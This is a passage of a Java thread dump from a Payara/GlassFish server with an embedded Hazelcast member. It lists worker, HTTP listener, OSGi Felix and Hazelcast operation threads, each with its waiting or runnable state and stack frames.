java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"EventAdminAsyncThread #10" #157 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"flamboyant_pascal-query-state-checker" #71 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.hazelcast.sql.impl.state.QueryStateRegistryUpdater$Worker.run(QueryStateRegistryUpdater.java:139) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.generic-operation.thread-3" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36373e68 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"GF Domain XML" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26855620 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-3" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"EventAdminAsyncThread #1" #142 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.partition-operation.thread-0" #41 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-thread-pool::http-listener-2(2)" #97 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@55811539 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener-kernel(1) SelectorRunner" #113 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.event-1" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408d2c80 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"http-thread-pool::http-listener-1(1)" #88 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2e904c67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.cached.thread-3" #73 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@14c71a4a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.flamboyant_pascal.partition-operation.thread-1" #42 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"FelixResolver-7" #22 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"EventAdminAsyncThread #3" #144 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"EventAdminAsyncThread #2" #143 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Executor-Service-10" #130 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"GF Domain XML" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a3fb7cc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #27 daemon [WAITING] on java.util.TaskQueue@772acdea + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"hz.flamboyant_pascal.operation-parker" #64 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@14d1e256 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.DelayQueue.poll(DelayQueue.java:259) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.doRun(OperationParkerImpl.java:228) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.run(OperationParkerImpl.java:211) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-thread-pool::http-listener-2(3)" #98 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@55811539 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.partition-operation.thread-4" #45 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.flamboyant_pascal.partition-operation.thread-10" #51 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.flamboyant_pascal.InvocationMonitorThread" #70 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1adf7bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.generic-operation.thread-4" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36373e68 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-listener-2-kernel(1) SelectorRunner" #102 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.generic-operation.thread-0" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36373e68 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"GF Domain XML" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d034ba6 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2-expirer(1)" #101 daemon [TIMED_WAITING] on java.lang.Object@1247516a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"payara-executor-service-task" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30aaddc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #119 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.lang.Thread.run(Thread.java:750) + +"EventAdminAsyncThread #8" #155 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Executor-Service-8" #128 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.MetricsRegistry.thread-2" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@392d8b57 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"EventAdminAsyncThread #7" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener-expirer(1)" #112 daemon [TIMED_WAITING] on java.lang.Object@202ee8ad + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-2" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"FelixDispatchQueue" #13 daemon [WAITING] on 